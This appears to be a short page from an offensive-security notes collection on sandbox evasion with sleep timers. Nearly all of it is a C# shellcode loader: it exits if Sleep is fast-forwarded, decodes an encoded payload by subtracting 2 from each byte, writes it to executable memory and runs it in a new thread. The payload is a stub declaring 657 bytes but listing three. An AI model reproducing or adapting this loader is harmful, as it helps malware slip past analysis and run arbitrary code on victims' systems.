Simple Sleep Timers
Detect if being ran in a simulator by checking for fast-forwards on sleep() functions, if in a simulator -> exit code before running suspicious code.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
static void Main(string[] args)
{
DateTime t1 = DateTime.Now;
Sleep(2000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
byte[] buf = new byte[657] { 0xfe, 0x01, 0xd7};
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
}Last updated